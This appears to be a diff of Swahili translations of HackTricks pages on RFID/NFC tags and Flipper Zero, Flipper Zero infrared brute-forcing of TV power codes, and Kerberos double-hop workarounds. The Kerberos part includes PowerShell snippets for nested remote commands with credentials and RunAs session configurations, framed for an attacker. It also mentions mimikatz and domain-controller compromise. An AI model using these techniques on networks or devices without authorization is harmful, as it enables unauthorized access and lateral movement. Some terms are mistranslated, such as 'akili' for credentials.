Kwa kifupi, muundo wa NFC unafanya kazi kama ifuatavyo: itifaki ya uhamisho inachaguliwa na kampuni inayotengeneza kadi na kutekelezwa kulingana na kiwango cha chini cha ISO 14443. Kwa mfano, NXP iliunda itifaki yake ya uhamisho ya kiwango cha juu inayoitwa Mifare. Lakini kwenye kiwango cha chini, kadi za Mifare zimejengwa kwa msingi wa kiwango cha ISO 14443-A.
|
||||
|
||||
Flipper inaweza kuingiliana na itifaki ya ISO 14443 ya kiwango cha chini, pamoja na itifaki ya uhamisho wa data ya Mifare Ultralight na EMV inayotumiwa kwenye kadi za benki. Tunafanya kazi ya kuongeza msaada kwa Mifare Classic na NFC NDEF. Uchunguzi wa kina wa itifaki na viwango vinavyounda NFC unastahili makala tofauti ambayo tunapanga kuandika baadaye.
|
||||
|
||||
Vitambulisho vyote vya mzunguko wa juu vilivyojengwa kwa msingi wa kiwango cha ISO 14443-A vina kitambulisho cha chip kinachofanya kazi kama nambari ya kipekee ya kadi, kama anwani ya MAC ya kadi ya mtandao. **Kawaida, UID ina urefu wa byte 4 au 7**, lakini mara chache inaweza kwenda **hadi 10**. UIDs sio siri na inaweza kusomwa kwa urahisi, **wakati mwingine hata imechapishwa kwenye kadi yenyewe**.
|
||||
|
||||
Kuna mifumo mingi ya kudhibiti ufikiaji ambayo inategemea UID kwa **uthibitisho na kutoa ufikiaji**. Mara nyingi hii hufanyika **hata** wakati vitambulisho vya RFID **vinasaidia kriptografia**. Matumizi kama hayo yanawafanya kuwa sawa na vitambulisho **dumavu vya kHz 125** kwa suala la **usalama**. Kadi za kawaida (kama Apple Pay) hutumia UID ya kubadilika ili wamiliki wa simu wasifungue milango na programu yao ya malipo.
|
||||
|
||||
* **Upeo mdogo** - kadi za mzunguko wa juu zimeundwa maalum ili ziweze kuwekwa karibu na kifaa cha kusoma. Hii pia husaidia kulinda kadi kutokana na mwingiliano usiohalali. Upeo mkubwa wa kusoma ambao tumeweza kufikia ni takriban 15 cm, na hiyo ilikuwa na wasomaji maalum wenye upeo mkubwa.
|
||||
* **Itifaki za juu** - kasi ya uhamisho wa data hadi 424 kbps inaruhusu itifaki ngumu na uhamisho kamili wa data kwa pande zote mbili. Ambayo kwa upande mwingine **inaruhusu kriptografia**, uhamisho wa data, nk.
|
||||
* **Usalama wa juu** - kadi zisizo na mawasiliano za mzunguko wa juu haziko nyuma kwa kadi za akili kwa njia yoyote. Kuna kadi ambazo zinasaidia algorithm zenye nguvu za kriptografia kama AES na kutekeleza kriptografia isiyolingana.
|
||||
Kwa kweli, kuna protokali nyingi zaidi za masafa ya chini. Lakini zote zinatumia moduli sawa kwenye tabaka la kimwili na zinaweza kuzingatiwa, kwa njia moja au nyingine, kama toleo la zile zilizoorodheshwa hapo juu.
|
||||
|
||||
### Shambulio
|
||||
|
||||
Unaweza **kushambulia Vitambulisho hivi na Flipper Zero**:
|
||||
Unaweza **kushambulia Tag hizi kwa Flipper Zero**:
|
||||
|
||||
{% content-ref url="../todo/radio-hacking/flipper-zero/fz-125khz-rfid.md" %}
|
||||
[fz-125khz-rfid.md](../todo/radio-hacking/flipper-zero/fz-125khz-rfid.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Tag za RFID za Masafa ya Juu (13.56 MHz)
|
||||
|
||||
**Tag za masafa ya juu** hutumiwa kwa mwingiliano wa tag-msomaji wenye changamoto zaidi unapohitaji cryptography, uhamasishaji mkubwa wa data wa pande mbili, uthibitishaji, n.k.\
|
||||
Kwa kawaida hupatikana katika kadi za benki, usafiri wa umma, na pasi nyingine za usalama.
|
||||
|
||||
**Tag za masafa ya juu 13.56 MHz ni seti ya viwango na protokali**. Kwa kawaida hujulikana kama [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), lakini hiyo si sahihi kila wakati. Seti ya msingi ya protokali inayotumika kwenye ngazi ya kimwili na kimantiki ni ISO 14443. Protokali za kiwango cha juu, pamoja na viwango mbadala (kama ISO 19092), zinategemea hiyo. Watu wengi hujulikana na teknolojia hii kama **Mawasiliano ya Uwanja wa Karibu (NFC)**, neno linalotumika kwa vifaa vinavyofanya kazi kwenye masafa ya 13.56 MHz.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (22).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Kwa ufupi, usanifu wa NFC unafanya kazi kama ifuatavyo: protokali ya uhamasishaji inachaguliwa na kampuni inayotengeneza kadi na kutekelezwa kulingana na kiwango cha chini cha ISO 14443. Kwa mfano, NXP iligundua protokali yake ya juu ya uhamasishaji inayoitwa Mifare. Lakini kwenye kiwango cha chini, kadi za Mifare zinategemea kiwango cha ISO 14443-A.
|
||||
|
||||
Flipper inaweza kuingiliana na protokali ya kiwango cha chini ya ISO 14443, pamoja na protokali ya uhamasishaji wa data ya Mifare Ultralight na EMV inayotumika katika kadi za benki. Tunafanya kazi kuongeza msaada kwa Mifare Classic na NFC NDEF. Kuangalia kwa kina protokali na viwango vinavyounda NFC ni vyema kuwa na makala tofauti ambayo tunapanga kuwa nayo baadaye.
|
||||
|
||||
Kadi zote za masafa ya juu zinazotegemea kiwango cha ISO 14443-A zina Kitambulisho cha kipekee cha chip. Kinatumika kama nambari ya serial ya kadi, kama anwani ya MAC ya kadi ya mtandao. **Kwa kawaida, UID ni urefu wa byte 4 au 7**, lakini inaweza nadra kufikia **hadi 10**. UIDs si siri na zinaweza kusomwa kwa urahisi, **wakati mwingine hata zimeandikwa kwenye kadi yenyewe**.
|
||||
|
||||
Kuna mifumo mingi ya udhibiti wa ufikiaji inayotegemea UID ili **kuhakiki na kutoa ufikiaji**. Wakati mwingine hii inatokea **hata** wakati tag za RFID **zinasaidia cryptography**. Matumizi kama haya yanazifanya kuwa sawa na kadi za **125 kHz** zisizo na akili kwa upande wa **usalama**. Kadi za kidijitali (kama Apple Pay) hutumia UID ya dinamik ili wamiliki wa simu wasifungue milango kwa kutumia programu yao ya malipo.
|
||||
|
||||
* **Umbali wa chini** — kadi za masafa ya juu zimeundwa mahsusi ili ziweze kuwekwa karibu na msomaji. Hii pia husaidia kulinda kadi kutokana na mwingiliano usioidhinishwa. Umbali wa juu zaidi wa kusoma ambao tumefanikiwa kufikia ulikuwa takriban cm 15, na hiyo ilikuwa na wasomaji wa umbali mrefu waliotengenezwa kwa kawaida.
|
||||
* **Protokali za juu** — kasi za uhamasishaji wa data hadi 424 kbps zinaruhusu protokali ngumu zenye uhamasishaji wa data wa pande mbili. Ambayo kwa upande wake **inaruhusu cryptography**, uhamasishaji wa data, n.k.
|
||||
* **Usalama wa Juu** — kadi za masafa ya juu zisizo na mawasiliano kwa njia ya kadi hazina kasoro kwa kadi za smart. Kuna kadi zinazosaidia algorithimu zenye nguvu za cryptography kama AES na kutekeleza cryptography isiyo ya kawaida.
|
||||
|
||||
### Shambulio
|
||||
|
||||
Unaweza **kushambulia Tag hizi kwa Flipper Zero**:
|
||||
|
||||
{% content-ref url="../todo/radio-hacking/flipper-zero/fz-nfc.md" %}
|
||||
[fz-nfc.md](../todo/radio-hacking/flipper-zero/fz-nfc.md)
|
||||
|
|
@ -87,14 +109,17 @@ Au kwa kutumia **proxmark**:
|
|||
|
||||
* [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikitangazwa katika HackTricks**? au ungependa kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa muundo wa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au **kikundi cha telegram**](https://t.me/peass) au **nifuate** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,48 +1,66 @@
|
|||
# FZ - Mionzi
|
||||
# FZ - Infrared
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionyeshwa kwenye HackTricks**? au unataka kupata toleo **jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Utangulizi <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
|
||||
## Intro <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
|
||||
|
||||
Kwa habari zaidi kuhusu jinsi Mionzi Infrared inavyofanya kazi angalia:
|
||||
Kwa maelezo zaidi kuhusu jinsi Infrared inavyofanya kazi angalia:
|
||||
|
||||
{% content-ref url="../infrared.md" %}
|
||||
[infrared.md](../infrared.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Kipokezi cha Ishara ya IR katika Flipper Zero <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
|
||||
## IR Signal Receiver in Flipper Zero <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
|
||||
|
||||
Flipper hutumia kipokezi wa ishara ya IR ya dijiti TSOP, ambayo **inaruhusu kudaka ishara kutoka kwa vidhibiti vya IR**. Kuna **simu za mkononi** kama Xiaomi, ambazo pia zina bandari ya IR, lakini kumbuka kwamba **zaidi yao wanaweza tu kutuma** ishara na hawawezi **kuzipokea**.
|
||||
Flipper inatumia mpokeaji wa ishara za dijitali za IR TSOP, ambayo **inaruhusu kukamata ishara kutoka kwa IR remotes**. Kuna baadhi ya **smartphones** kama Xiaomi, ambazo pia zina bandari ya IR, lakini kumbuka kwamba **zaidi ya hizo zinaweza tu kutuma** ishara na **hazina uwezo wa kupokea** hizo.
|
||||
|
||||
Kipokezi cha mionzi ya Flipper ni **nyeti sana**. Unaweza hata **kudaka ishara** ukiwa **mahali fulani kati** ya kiremote na TV. Kuashiria kiremote moja kwa moja kwenye bandari ya IR ya Flipper sio lazima. Hii inakuja kwa manufaa wakati mtu anabadilisha vituo wakati amesimama karibu na TV, na wewe na Flipper mko mbali kidogo.
|
||||
Mpokeaji wa infrared wa Flipper **ni nyeti sana**. Unaweza hata **kukamata ishara** wakati uko **mahali fulani kati** ya remote na TV. Kuelekeza remote moja kwa moja kwenye bandari ya IR ya Flipper si lazima. Hii ni muhimu wakati mtu anabadilisha vitu wakati anasimama karibu na TV, na wewe na Flipper mko mbali kidogo.
|
||||
|
||||
Kwa kuwa **uchambuzi wa ishara ya infrared** unatokea upande wa **programu**, Flipper Zero inaweza kusaidia **mapokezi na utangazaji wa nambari yoyote ya kiremote ya IR**. Katika kesi ya **itifaki zisizojulikana** ambazo hazingeweza kutambuliwa - ina **rekodi na kucheza** tena ishara ghafi kama ilivyopokelewa.
|
||||
Kadri **ufafanuzi wa ishara za infrared** unavyofanyika upande wa **programu**, Flipper Zero ina uwezo wa kuunga mkono **kupokea na kutuma nambari zozote za IR remote**. Katika kesi ya **protokali zisizojulikana** ambazo hazikuweza kutambuliwa - inarekodi na kurudisha **ishara safi kama ilivyopokelewa**.
|
||||
|
||||
## Vitendo
|
||||
## Actions
|
||||
|
||||
### Vidhibiti vya Ulimwengu
|
||||
### Universal Remotes
|
||||
|
||||
Flipper Zero inaweza kutumika kama **kidhibiti cha ulimwengu kudhibiti TV yoyote, kiyoyozi, au kituo cha media**. Katika hali hii, Flipper **inabomoa** **nambari zote zinazojulikana** za watengenezaji wote wanaoungwa mkono **kulingana na kamusi kutoka kwa kadi ya SD**. Hauitaji kuchagua kiremote fulani kuzima TV ya mgahawa.
|
||||
Flipper Zero inaweza kutumika kama **remote ya ulimwengu kuendesha TV yoyote, kiyoyozi, au kituo cha media**. Katika hali hii, Flipper **inajaribu** nambari zote **zinazojulikana** za wazalishaji wote wanaoungwa mkono **kulingana na kamusi kutoka kwenye kadi ya SD**. Huna haja ya kuchagua remote maalum ili kuzima TV ya mgahawa.
|
||||
|
||||
Inatosha kubonyeza kitufe cha nguvu katika hali ya Kidhibiti cha Ulimwengu, na Flipper itatuma **amri za "Kuzima"** za televisheni zote inazojua kwa mpangilio: Sony, Samsung, Panasonic... na kadhalika. Televisheni inapopokea ishara yake, itajibu na kuzima.
|
||||
Inatosha kubonyeza kitufe cha nguvu katika hali ya Universal Remote, na Flipper itatuma **kwa mpangilio amri za "Power Off"** za TV zote inazozijua: Sony, Samsung, Panasonic... na kadhalika. Wakati TV inapokea ishara yake, itajibu na kuzima.
|
||||
|
||||
Kama kuvunja nguvu kuchukua muda. Kamusi ikiwa kubwa, itachukua muda mrefu kumaliza. Haiwezekani kujua ni ishara ipi hasa televisheni iliyotambua kwani hakuna maoni kutoka kwa televisheni.
|
||||
Hii brute-force inachukua muda. Kadri kamusi inavyokuwa kubwa, ndivyo itachukua muda mrefu kumaliza. Haiwezekani kujua ni ishara ipi hasa TV ilitambua kwani hakuna mrejesho kutoka kwa TV.
|
||||
|
||||
### Jifunze Kiremote Kipya
|
||||
### Learn New Remote
|
||||
|
||||
Inawezekana **kudaka ishara ya infrared** na Flipper Zero. Ikiwa **inapata ishara katika database** Flipper itajua moja kwa moja **kifaa hiki ni kipi** na itakuruhusu kuingiliana nacho.\
|
||||
Ikiwa haitapata, Flipper inaweza **kuhifadhi** **ishara** na itakuruhusu **kuicheza** tena.
|
||||
Inawezekana **kukamata ishara ya infrared** na Flipper Zero. Ikiwa **inatambua ishara katika hifadhidata** Flipper itajua moja kwa moja **ni kifaa gani hiki** na itakuruhusu kuingiliana nacho.\
|
||||
Ikiwa haitambui, Flipper inaweza **kuhifadhi** **ishara** na itakuruhusu **kuirudisha**.
|
||||
|
||||
## Marejeo
|
||||
## References
|
||||
|
||||
* [https://blog.flipperzero.one/infrared/](https://blog.flipperzero.one/infrared/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,65 +1,71 @@
|
|||
# Tatizo la Mara Mbili la Kerberos
|
||||
# Kerberos Double Hop Problem
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionyeshwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## Utangulizi
|
||||
|
||||
Tatizo la "Mara Mbili" la Kerberos hutokea wakati muhusika anajaribu kutumia **uthibitisho wa Kerberos kupitia** **hops** mbili, kwa mfano kutumia **PowerShell**/**WinRM**.
|
||||
## Introduction
|
||||
|
||||
Wakati **uthibitisho** unapotokea kupitia **Kerberos**, **siri** **hazihifadhiwi** kwenye **kumbukumbu**. Hivyo, ikiwa unatumia mimikatz hutapata **siri** za mtumiaji kwenye mashine hata kama anatekeleza michakato.
|
||||
Tatizo la "Double Hop" la Kerberos linaonekana wakati mshambuliaji anajaribu kutumia **uthibitishaji wa Kerberos kati ya hops mbili**, kwa mfano kutumia **PowerShell**/**WinRM**.
|
||||
|
||||
Hii ni kwa sababu wakati unapounganisha na Kerberos hatua zifuatazo hufanyika:
|
||||
Wakati **uthibitishaji** unapotokea kupitia **Kerberos**, **akili** **hazihifadhiwi** katika **kumbukumbu.** Hivyo, ikiwa unakimbia mimikatz hu **wezi kupata akili** za mtumiaji kwenye mashine hata kama anafanya kazi.
|
||||
|
||||
1. User1 hutoa siri na **domain controller** hurudisha **TGT** ya Kerberos kwa User1.
|
||||
2. User1 anatumia **TGT** kuomba **tiketi ya huduma** ili **kuunganisha** kwenye Seva1.
|
||||
3. User1 **anaunganisha** kwenye **Seva1** na kutoa **tiketi ya huduma**.
|
||||
4. **Seva1** **haina** **siri** za User1 zilizohifadhiwa au **TGT** ya User1. Kwa hivyo, wakati User1 kutoka Seva1 anapojaribu kuingia kwenye seva ya pili, hawezi **kuthibitishwa**.
|
||||
Hii ni kwa sababu wakati wa kuungana na Kerberos hatua hizi zinafuatwa:
|
||||
|
||||
### Uteuzi Usiozuiliwa
|
||||
1. User1 anatoa akili na **meneja wa eneo** anarudisha **TGT** ya Kerberos kwa User1.
|
||||
2. User1 anatumia **TGT** kuomba **tiketi ya huduma** ili **kuungana** na Server1.
|
||||
3. User1 **anaungana** na **Server1** na anatoa **tiketi ya huduma**.
|
||||
4. **Server1** **hainayo** **akili** za User1 zilizohifadhiwa au **TGT** ya User1. Hivyo, wakati User1 kutoka Server1 anajaribu kuingia kwenye seva ya pili, hawezi **kujiandikisha**.
|
||||
|
||||
Ikiwa **uteuzi usiozuiliwa** umewezeshwa kwenye PC, hii haitatokea kwani **Seva** itapata **TGT** ya kila mtumiaji anayeipata. Zaidi ya hayo, ikiwa uteuzi usiozuiliwa unatumika labda unaweza **kuhatarisha Msimamizi wa Kikoa** kutoka hapo.\
|
||||
[Maelezo zaidi kwenye ukurasa wa uteuzi usiozuiliwa](unconstrained-delegation.md).
|
||||
### Unconstrained Delegation
|
||||
|
||||
Ikiwa **unconstrained delegation** imewezeshwa kwenye PC, hii haitatokea kwani **Server** itapata **TGT** ya kila mtumiaji anayefikia. Zaidi ya hayo, ikiwa unconstrained delegation inatumika unaweza **kudhoofisha Meneja wa Eneo** kutoka hapo.\
|
||||
[**Maelezo zaidi kwenye ukurasa wa unconstrained delegation**](unconstrained-delegation.md).
|
||||
|
||||
### CredSSP
|
||||
|
||||
Njia nyingine ya kuepuka tatizo hili ambayo ni [**si salama sana**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) ni **Mtoaji wa Usaidizi wa Usalama wa Siri**. Kutoka kwa Microsoft:
|
||||
Njia nyingine ya kuepuka tatizo hili ambayo ni [**isiyo salama sana**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) ni **Mtoa Huduma wa Usalama wa Akili**. Kutoka Microsoft:
|
||||
|
||||
> Uthibitisho wa CredSSP unaweka siri za mtumiaji kutoka kwenye kompyuta ya ndani kwenda kwenye kompyuta ya mbali. Mazoea haya huongeza hatari ya usalama wa operesheni ya mbali. Ikiwa kompyuta ya mbali itadhuriwa, wakati siri zinapopitishwa kwake, siri hizo zinaweza kutumika kudhibiti kikao cha mtandao.
|
||||
> Uthibitishaji wa CredSSP unapeleka akili za mtumiaji kutoka kwenye kompyuta ya ndani hadi kwenye kompyuta ya mbali. Praktiki hii inaongeza hatari ya usalama wa operesheni ya mbali. Ikiwa kompyuta ya mbali imevunjwa, wakati akili zinapopelekwa kwake, akili zinaweza kutumika kudhibiti kikao cha mtandao.
|
||||
|
||||
Inashauriwa sana kwamba **CredSSP** izimwe kwenye mifumo ya uzalishaji, mitandao inayohitaji usiri, na mazingira kama hayo kutokana na wasiwasi wa usalama. Ili kubaini ikiwa **CredSSP** imezimwa, amri ya `Get-WSManCredSSP` inaweza kutekelezwa. Amri hii inaruhusu **uchunguzi wa hali ya CredSSP** na inaweza hata kutekelezwa kijijini, ikiruhusiwa **WinRM** iwezeshwe.
|
||||
Inapendekezwa sana kwamba **CredSSP** izuiwe kwenye mifumo ya uzalishaji, mitandao nyeti, na mazingira kama hayo kutokana na wasiwasi wa usalama. Ili kubaini ikiwa **CredSSP** imewezeshwa, amri ya `Get-WSManCredSSP` inaweza kukimbizwa. Amri hii inaruhusu **kuangalia hali ya CredSSP** na inaweza hata kutekelezwa kwa mbali, ikiwa **WinRM** imewezeshwa.
|
||||
```powershell
|
||||
Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock {
|
||||
Get-WSManCredSSP
|
||||
}
|
||||
```
|
||||
## Njia za Kuzunguka
|
||||
## Workarounds
|
||||
|
||||
### Amuru Amri
|
||||
### Invoke Command
|
||||
|
||||
Ili kushughulikia shida ya mara mbili ya kupita, njia inayohusisha `Invoke-Command` iliyonakiliwa inapendekezwa. Hii haishughulikii shida moja kwa moja lakini inatoa suluhisho mbadala bila kuhitaji mipangilio maalum. Mbinu hii inaruhusu kutekeleza amri (`jina la mwenyeji`) kwenye seva ya pili kupitia amri ya PowerShell iliyotekelezwa kutoka kwa mashine ya kwanza ya kushambulia au kupitia kikao cha PS kilichoundwa hapo awali na seva ya kwanza. Hivi ndivyo inavyofanywa:
|
||||
Ili kushughulikia tatizo la double hop, njia inayohusisha `Invoke-Command` iliyozungushwa inawasilishwa. Hii haisuluhishi tatizo moja kwa moja lakini inatoa suluhisho mbadala bila kuhitaji usanidi maalum. Njia hii inaruhusu kutekeleza amri (`hostname`) kwenye seva ya pili kupitia amri ya PowerShell inayotekelezwa kutoka kwenye mashine ya awali ya shambulio au kupitia PS-Session iliyowekwa awali na seva ya kwanza. Hapa kuna jinsi inavyofanywa:
|
||||
```powershell
|
||||
$cred = Get-Credential ta\redsuit
|
||||
Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock {
|
||||
Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname}
|
||||
}
|
||||
```
|
||||
### Kuanzisha Usajili wa Mipangilio ya PSSession
|
||||
Kwa upande mwingine, kuanzisha PS-Session na seva ya kwanza na kuendesha `Invoke-Command` kwa kutumia `$cred` inapendekezwa kwa kuunganisha kazi.
|
||||
|
||||
Lahaja ya kuepuka tatizo la mara mbili linajumuisha kutumia `Register-PSSessionConfiguration` pamoja na `Enter-PSSession`. Mbinu hii inahitaji njia tofauti kuliko `evil-winrm` na inaruhusu kikao ambacho hakisumbuliwi na kizuizi cha mara mbili.
|
||||
### Sajili Mipangilio ya PSSession
|
||||
|
||||
Suluhisho la kupita tatizo la double hop linahusisha kutumia `Register-PSSessionConfiguration` na `Enter-PSSession`. Njia hii inahitaji mbinu tofauti na `evil-winrm` na inaruhusu kikao ambacho hakikabiliwi na kikomo cha double hop.
|
||||
```powershell
|
||||
Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential domain_name\username
|
||||
Restart-Service WinRM
|
||||
|
|
@ -68,32 +74,32 @@ klist
